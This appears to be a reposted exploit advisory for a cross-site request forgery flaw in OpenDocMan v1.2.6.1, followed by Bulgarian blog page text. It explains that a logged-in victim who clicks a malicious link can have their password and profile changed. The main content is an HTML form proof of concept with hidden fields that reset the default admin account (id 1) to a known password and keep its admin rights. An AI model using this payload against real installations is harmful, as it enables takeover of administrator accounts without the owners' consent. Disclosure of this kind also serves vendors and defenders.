# Exploit Title: OpenDocMan Password Change CSRF
# Date: 22/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://www.opendocman.com/
# Software Link: https://github.com/downloads/opendocman/opendocman/opendocman-
# Version:

#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar

<title>OpenDocMan v1.2.6.1 Password Change CSRF</title>

About the Application:

OpenDocMan is a free, open source web-based PHP document management system (DMS) designed to comply with ISO 17025 and OIE standard for 
document management. It features web based access, fine grained control of access to files, and automated install and upgrades.

Vulnerability Details:

OpenDocMan is vulnerable to a CSRF which allows an attacker to change users password and profile details.
In order to change user details the attacker must know the user id, for example; the default id for the "admin" user is 1.
The victim must be logged in while clicking the malicious link.

<h2>Change Admin Password</h2>
    <form action="" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="caller" value="/open/profile.php" />
      <input type="hidden" name="id" value="1" />
      <input type="hidden" name="last_name" value="Admin" />
      <input type="hidden" name="first_name" value="Admin" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="phonenumber" value="
" />
      <input type="hidden" name="password" value="qwe123" />
      <input type="hidden" name="Email" value="admin@example.com" />
      <input type="hidden" name="department" value="1" />
      <input type="hidden" name="admin" value="1" />
      <input type="hidden" name="department_review[]" value="1" />
      <input type="hidden" name="set_password" value="0" />
      <input type="hidden" name="submit" value="Update User" />
      <input type="submit" value="Click Me" />

Rate this post
Брой прочитания на тази страница: 1015
OpenDocMan v1.2.6.1 Password Change CSRF
Tagged on:

Вашият коментар

Вашият имейл адрес няма да бъде публикуван. Задължителните полета са отбелязани с *